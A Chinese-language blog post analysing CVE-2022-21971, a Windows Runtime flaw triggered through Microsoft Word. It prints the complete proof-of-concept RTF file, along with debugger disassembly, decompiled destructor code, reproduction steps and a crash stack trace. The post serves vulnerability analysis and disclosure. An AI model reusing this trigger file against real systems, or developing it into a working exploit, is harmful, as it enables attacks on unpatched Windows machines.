CVE-2022-21971 Windows Runtime远程命令执行漏洞

CVE-2022-21971 Windows Runtime远程命令执行漏洞

漏洞描述

Windows Runtime远程命令执行漏洞

在Microsoft Windows 10 20H2/10 21H1/10 21H2/10 1809/10 1909/11/Server 20H2/Server 2019/Server up to 2022(操作系统)中发现了一个被归类为严重的漏洞。这会影响组件Runtime的一些未知功能。这将对机密性、完整性和可用性产生影响。

该漏洞已于 2022 年 2 月 8 日披露为确认的安全指南(网站)。该公告在portal.msrc.microsoft.com上共享。自 2021 年 12 月 16 日以来,此漏洞被唯一标识为CVE-2022-21971。可利用性被告知很容易。可以远程发起攻击。利用不需要任何形式的身份验证。它要求受害者进行某种用户交互。技术细节和漏洞利用均未公开。目前,漏洞利用exp的价格可能在 2.5 万美元到 10 万美元左右(估计在 2022 年 2 月 12 日计算)。

应用补丁可以消除这个问题。漏洞披露后立即发布了可能的缓解措施。

CVE-2022-21971 Windows Runtime远程命令执行漏洞

CVE-2022-21971 poc

GitHub:

https://github.com/0vercl0k/CVE-2022-21971

cve-2022-21971.rtf

{\rtf1{\object\objocx{\*\objdata
01050000
02000000
1f000000
53656350726f7669646572732e574150584d4c53656350726f766964657200
00000000
00000000
01000000
41
01050000
00000000
}}}

prauthproviders 中未初始化的指针空闲

CVE-2022-21971 Windows Runtime远程命令执行漏洞

根本原因分析

构造WapAuthProvider::CreateInstance函数分配并初始化一个WapAuthProvider对象(0x78 字节),但未能完全初始化其状态。

调用析构函数时(在 中),偏移量 0x50 处的指针未初始化并被释放WapAuthProvider::~WapAuthProvider

prauthproviders!WapAuthProvider::~WapAuthProvider+0x38:
00007ffd`a91f3078 488b4b50        mov     rcx,qword ptr [rbx+50h] ds:000001cf`efe35fd0=c0c0c0c0c0c0c0c0

0:011> 
prauthproviders!WapAuthProvider::~WapAuthProvider+0x3c:
00007ffd`a91f307c 4883634000      and     qword ptr [rbx+40h],0 ds:000001cf`efe35fc0=0000000000000000

0:011> 
prauthproviders!WapAuthProvider::~WapAuthProvider+0x41:
00007ffd`a91f3081 48ff1578ad0000  call    qword ptr [prauthproviders!_imp_LocalFree (00007ffd`a91fde00)] ds:00007ffd`a91fde00={KERNELBASE!LocalFree (00007ffd`ccdb0620)

这是使用未初始化数据的函数,请参见[0][1]

void WapAuthProvider::~WapAuthProvider(__int64 this) {
  void *v2; // rcx
  void *v3; // rcx

  *(_QWORD *)this = &WapAuthProvider::`vftable';
  LocalFree(*(HLOCAL *)(this + 56));
  v2 = *(void **)(this + 64);
  *(_QWORD *)(this + 56) = 0i64;
  LocalFree(v2);
  v3 = *(void **)(this + 80);       // <-- [0] uninitialized
  *(_QWORD *)(this + 64) = 0i64;
  LocalFree(v3);                    // <-- [1] free
  *(_QWORD *)(this + 80) = 0i64;
}

使用方法

  1. 通过 Gflags 开启 PageHeapwinword.exe
  2. 启动 Word,将调试器附加到它
  3. cve-2022-21971.rtf在 Word 中打开
(1c84.11b4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
verifier!AVrfpDphFindBusyMemoryNoCheck+0x8a:
00007ffd`78d84742 817ac0bbbbcdab  cmp     dword ptr [rdx-40h],0ABCDBBBBh ds:c0c0c0c0`c0c0c080=????????

0:011> kc
 # Call Site
00 verifier!AVrfpDphFindBusyMemoryNoCheck
01 verifier!AVrfpDphFindBusyMemory
02 verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList
03 verifier!AVrfDebugPageHeapFree
04 ntdll!RtlDebugFreeHeap
05 ntdll!RtlpFreeHeap
06 ntdll!RtlpFreeHeapInternal
07 ntdll!RtlFreeHeap
08 KERNELBASE!LocalFree
09 prauthproviders!WapAuthProvider::~WapAuthProvider
0a prauthproviders!WapAuthProvider::`vector deleting destructor'
0b prauthproviders!WapAuthProvider::Release
0c prauthproviders!CClassFactory::CreateInstance
0d combase!CServerContextActivator::CreateInstance
0e combase!ActivationPropertiesIn::DelegateCreateInstance
0f combase!CApartmentActivator::CreateInstance

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注